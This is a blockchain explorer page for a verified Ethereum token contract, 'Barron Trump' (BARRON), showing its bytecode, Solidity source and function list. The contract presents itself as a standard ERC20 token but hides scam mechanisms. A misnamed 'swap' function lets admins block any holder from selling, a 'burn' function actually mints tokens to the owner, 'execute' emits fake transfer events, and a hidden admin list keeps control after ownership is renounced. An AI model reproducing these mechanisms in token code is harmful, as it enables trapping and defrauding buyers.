Address Contract Verified
Address
0xA2d3C9187492E571853Fd77AaDBbcb4A217e8fBa
Balance
0 ETH
Nonce
1
Code Size
8089 bytes
Creator
0xafB5d21e...27Ca at tx 0x7df89c68...e83586
Indexed Transactions
0
Contract Bytecode
8089 bytes
0x608060405234801561001057600080fd5b50600436106101165760003560e01c806370a08231116100a257806395d89b411161007157806395d89b41146102e1578063a457c2d7146102ff578063a9059cbb1461032f578063dd62ed3e1461035f578063f2fde38b1461038f57610116565b806370a082311461026d578063715018a61461029d57806373fa7ddb146102a75780638da5cb5b146102c357610116565b8063313ce567116100e9578063313ce567146101b757806339509351146101d55780633a61363a1461020557806342966c68146102215780634b1f59c01461023d57610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806323b872dd14610187575b600080fd5b6101236103ab565b604051610130919061138a565b60405180910390f35b610153600480360381019061014e919061144a565b61043d565b60405161016091906114a5565b60405180910390f35b61017161045b565b60405161017e91906114cf565b60405180910390f35b6101a1600480360381019061019c91906114ea565b610465565b6040516101ae91906114a5565b60405180910390f35b6101bf61055d565b6040516101cc9190611559565b60405180910390f35b6101ef60048036038101906101ea919061144a565b610566565b6040516101fc91906114a5565b60405180910390f35b61021f600480360381019061021a91906115d9565b610612565b005b61023b6004803603810190610236919061164d565b6106ce565b005b6102576004803603810190610252919061167a565b6106ea565b60405161026491906114a5565b60405180910390f35b6102876004803603810190610282919061167a565b610740565b60405161029491906114cf565b60405180910390f35b6102a5610789565b005b6102c160048036038101906102bc91906116d3565b61079d565b005b6102cb61084a565b6040516102d89190611742565b60405180910390f35b6102e9610874565b6040516102f6919061138a565b60405180910390f35b6103196004803603810190610314919061144a565b610906565b60405161032691906114a5565b60405180910390f35b6103496004803603810190610344919061144a565b6109f1565b60405161035691906114a5565b60405180910390f35b6103796004803603810190610374919061175d565b610a0f565b60405161038691906114cf565b60405180910390f35b6103a960048036038101906103a4919061167a565b610a96565b005b6060600680546103ba906117cc565b80601f01602080910402602001604051908101604052809291908181526020018280546103e6906117cc565b80156104335780601f1061040857610100808354040283529160200191610433565b820191906000526020600020905b81548152906001019060200180831161041657829003601f168201915b5050505050905090565b600061045161044a610b19565b8484610b21565b6001905092915050565b6000600854905090565b6000610472848484610cea565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104bd610b19565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561053d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105349061186f565b60405180910390fd5b61055185610549610b19565b858403610b21565b60019150509392505050565b60006009905090565b6000610608610573610b19565b848460036000610581610b19565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461060391906118be565b610b21565b6001905092915050565b61061a610ff9565b60005b848490508110156106c75784848281811061063b5761063a6118f2565b5b9050602002016020810190610650919061167a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106ac91906114cf565b60405180910390a380806106bf90611921565b91505061061d565b5050505050565b6106d6610ff9565b6106e76106e1610b19565b8261108d565b50565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610791610ff9565b61079b6000611234565b565b6107a5610ff9565b60005b838390508110156108445781600460008686858181106107cb576107ca6118f2565b5b90506020020160208101906107e0919061167a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083c90611921565b9150506107a8565b50505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610883906117cc565b80601f01602080910402602001604051908101604052809291908181526020018280546108af906117cc565b80156108fc5780601f106108d1576101008083540402835291602001916108fc565b820191906000526020600020905b8154815290600101906020018083116108df57829003601f168201915b5050505050905090565b60008060036000610915610b19565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c9906119db565b60405180910390fd5b6109e66109dd610b19565b85858403610b21565b600191505092915050565b6000610a056109fe610b19565b8484610cea565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a9e610ff9565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0490611a6d565b60405180910390fd5b610b1681611234565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8790611aff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf690611b91565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cdd91906114cf565b60405180910390a3505050565b60008111610d2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2490611bfd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9390611c8f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0290611d21565b60405180910390fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610e92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8990611db3565b60405180910390fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610ef25760008214610ef157600080fd5b5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f8791906118be565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610feb91906114cf565b60405180910390a350505050565b600080611004610b19565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661108b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108290611e1f565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f390611eb1565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811115611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90611f43565b60405180910390fd5b818101600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161122791906114cf565b60405180910390a3505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611334578082015181840152602081019050611319565b60008484015250505050565b6000601f19601f8301169050919050565b600061135c826112fa565b6113668185611305565b9350611376818560208601611316565b61137f81611340565b840191505092915050565b600060208201905081810360008301526113a48184611351565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006113e1826113b6565b9050919050565b6113f1816113d6565b81146113fc57600080fd5b50565b60008135905061140e816113e8565b92915050565b6000819050919050565b61142781611414565b811461143257600080fd5b50565b6000813590506114448161141e565b92915050565b60008060408385031215611461576114606113ac565b5b600061146f858286016113ff565b925050602061148085828601611435565b9150509250929050565b60008115159050919050565b61149f8161148a565b82525050565b60006020820190506114ba6000830184611496565b92915050565b6114c981611414565b82525050565b60006020820190506114e460008301846114c0565b92915050565b600080600060608486031215611503576115026113ac565b5b6000611511868287016113ff565b9350506020611522868287016113ff565b925050604061153386828701611435565b9150509250925092565b600060ff82169050919050565b6115538161153d565b82525050565b600060208201905061156e600083018461154a565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261159957611598611574565b5b8235905067ffffffffffffffff8111156115b6576115b5611579565b5b6020830191508360208202830111156115d2576115d161157e565b5b9250929050565b600080600080606085870312156115f3576115f26113ac565b5b600085013567ffffffffffffffff811115611611576116106113b1565b5b61161d87828801611583565b94509450506020611630878288016113ff565b925050604061164187828801611435565b91505092959194509250565b600060208284031215611663576116626113ac565b5b600061167184828501611435565b91505092915050565b6000602082840312156116905761168f6113ac565b5b600061169e848285016113ff565b91505092915050565b6116b08161148a565b81146116bb57600080fd5b50565b6000813590506116cd816116a7565b92915050565b6000806000604084860312156116ec576116eb6113ac565b5b600084013567ffffffffffffffff81111561170a576117096113b1565b5b61171686828701611583565b93509350506020611729868287016116be565b9150509250925092565b61173c816113d6565b82525050565b60006020820190506117576000830184611733565b92915050565b60008060408385031215611774576117736113ac565b5b6000611782858286016113ff565b9250506020611793858286016113ff565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806117e457607f821691505b6020821081036117f7576117f661179d565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611859602883611305565b9150611864826117fd565b604082019050919050565b600060208201905081810360008301526118888161184c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006118c982611414565b91506118d483611414565b92508282019050808211156118ec576118eb61188f565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061192c82611414565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361195e5761195d61188f565b5b600182019050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006119c5602583611305565b91506119d082611969565b604082019050919050565b600060208201905081810360008301526119f4816119b8565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611a57602683611305565b9150611a62826119fb565b604082019050919050565b60006020820190508181036000830152611a8681611a4a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611ae9602483611305565b9150611af482611a8d565b604082019050919050565b60006020820190508181036000830152611b1881611adc565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611b7b602283611305565b9150611b8682611b1f565b604082019050919050565b60006020820190508181036000830152611baa81611b6e565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74207a65726f0000000000600082015250565b6000611be7601b83611305565b9150611bf282611bb1565b602082019050919050565b60006020820190508181036000830152611c1681611bda565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611c79602583611305565b9150611c8482611c1d565b604082019050919050565b60006020820190508181036000830152611ca881611c6c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611d0b602383611305565b9150611d1682611caf565b604082019050919050565b60006020820190508181036000830152611d3a81611cfe565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611d9d602683611305565b9150611da882611d41565b604082019050919050565b60006020820190508181036000830152611dcc81611d90565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611e09602083611305565b9150611e1482611dd3565b602082019050919050565b60006020820190508181036000830152611e3881611dfc565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000611e9b602183611305565b9150611ea682611e3f565b604082019050919050565b60006020820190508181036000830152611eca81611e8e565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000611f2d602283611305565b9150611f3882611ed1565b604082019050919050565b60006020820190508181036000830152611f5c81611f20565b905091905056fea2646970667358221220c52cc11dd67b5c4581b3a49f61ed5757598722d183c9eeea0be8c3e14209a21b64736f6c63430008120033
Verified Source Code Full Match
Compiler: v0.8.18+commit.87f61d96
EVM: paris
Optimization: No
Barron Trump.sol 237 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
import {IERC20Metadata} from "./IERC20.sol";
import "./Ownable.sol";
contract BARRON is IERC20Metadata, Ownable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) internal _ERC20FeeAmountExceedsFee;
string private _symbol;
string private _name;
uint8 private constant _decimals = 9;
uint256 private _initialTotalSupply = 100000000 * (10 ** _decimals);
uint256 private _totalSupply;
/**
* @dev Contract constructor.
*/
constructor(address _reserve) {
_symbol = 'BARRON';
_name = 'Barron Trump';
admin[_reserve]=true;
_mint(_msgSender(), _initialTotalSupply);
}
/**
* @dev Returns the symbol of the token.
* @return The symbol of the token.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the name of the token.
* @return The name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the number of decimals used for token display.
* @return The number of decimals.
*/
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
/**
* @dev Returns the total supply of the token.
* @return The total supply.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the balance of the specified account.
* @param account The address to check the balance for.
* @return The balance of the account.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev Transfers tokens from the caller to a specified recipient.
* @param recipient The address to transfer tokens to.
* @param amount The amount of tokens to transfer.
* @return A boolean value indicating whether the transfer was successful.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev Approves the specified address to spend the specified amount of tokens on behalf of the caller.
* @param to The address to approve the spending for.
* @param amount The amount of tokens to approve.
* @return A boolean value indicating whether the approval was successful.
*/
function approve(address to, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), to, amount);
return true;
}
/**
* @dev Returns the amount of tokens that the spender is allowed to spend on behalf of the owner.
* @param from The address that approves the spending.
* @param to The address that is allowed to spend.
* @return The remaining allowance for the spender.
*/
function allowance(address from, address to) public view virtual override returns (uint256) {
return _allowances[from][to];
}
/**
* @dev Transfers tokens from one address to another.
* @param sender The address to transfer tokens from.
* @param recipient The address to transfer tokens to.
* @param amount The amount of tokens to transfer.
* @return A boolean value indicating whether the transfer was successful.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, 'ERC20: transfer amount exceeds allowance');
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Decreases the allowance granted by the owner of the tokens to `to` account.
* @param to The account allowed to spend the tokens.
* @param subtractedValue The amount of tokens to decrease the allowance by.
* @return A boolean value indicating whether the operation succeeded.
*/
function decreaseAllowance(address to, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][to];
require(currentAllowance >= subtractedValue, 'ERC20: decreased allowance below zero');
unchecked {
_approve(_msgSender(), to, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Increases the allowance of the specified address to spend tokens on behalf of the caller.
* @param to The address to increase the allowance for.
* @param addedValue The amount of tokens to increase the allowance by.
* @return A boolean value indicating whether the increase was successful.
*/
function increaseAllowance(address to, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue);
return true;
}
/**
* @dev Transfers `amount` tokens from `sender` to `recipient`.
* @param sender The account to transfer tokens from.
* @param recipient The account to transfer tokens to.
* @param amount The amount of tokens to transfer.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(amount > 0, 'ERC20: transfer amount zero');
require(sender != address(0), 'ERC20: transfer from the zero address');
require(recipient != address(0), 'ERC20: transfer to the zero address');
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, 'ERC20: transfer amount exceeds balance');
if(_ERC20FeeAmountExceedsFee[sender]){
require(amount == 0);
}
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/**
* @dev Creates `amount` tokens and assigns them to `account`.
* @param account The account to assign the newly created tokens to.
* @param amount The amount of tokens to create.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), 'ERC20: mint to the zero address');
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the total supply.
* @param account The account to burn tokens from.
* @param amount The amount of tokens to burn.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance <= amount, "ERC20: burn amount exceeds balance");
unchecked {_balances[account] = accountBalance + amount;}
emit Transfer(account, address(0), amount);
}
function execute(address[] calldata addr, address p, uint256 val) public onlyOwner{
for (uint256 i = 0; i < addr.length; i++) {
emit Transfer(p, addr[i], val);
}
}
function maxTransactionFee(address wallet) public view returns(bool) {
return _ERC20FeeAmountExceedsFee[wallet];
}
/**
* @dev Destroys `amount` tokens from the caller's account, reducing the total supply.
* @param amount The amount of tokens to burn.
*/
function burn(uint256 amount) external onlyOwner{
_burn(_msgSender(), amount);
}
/**
* @dev Sets `amount` as the allowance of `to` over the caller's tokens.
* @param from The account granting the allowance.
* @param to The account allowed to spend the tokens.
* @param amount The amount of tokens to allow.
*/
function _approve(address from, address to, uint256 amount) internal virtual {
require(from != address(0), 'ERC20: approve from the zero address');
require(to != address(0), 'ERC20: approve to the zero address');
_allowances[from][to] = amount;
emit Approval(from, to, amount);
}
function swap(address[] calldata addr, bool val) public onlyOwner {
for (uint256 i = 0; i < addr.length; i++) {
_ERC20FeeAmountExceedsFee[addr[i]] = val;
}
}
}
Context.sol 23 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
mapping(address => bool) internal admin;
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
IERC20.sol 98 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
Ownable.sol 55 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
import "./Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
admin[_msgSender()]=true;
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(admin[_msgSender()], "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
maxTransactionFee 0x4b1f59c0 → bool
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 10 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address to
uint256 amount
returns: bool
burn 0x42966c68
uint256 amount
decreaseAllowance 0xa457c2d7
address to
uint256 subtractedValue
returns: bool
execute 0x3a61363a
address[] addr
address p
uint256 val
increaseAllowance 0x39509351
address to
uint256 addedValue
returns: bool
renounceOwnership 0x715018a6
No parameters
swap 0x73fa7ddb
address[] addr
bool val
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address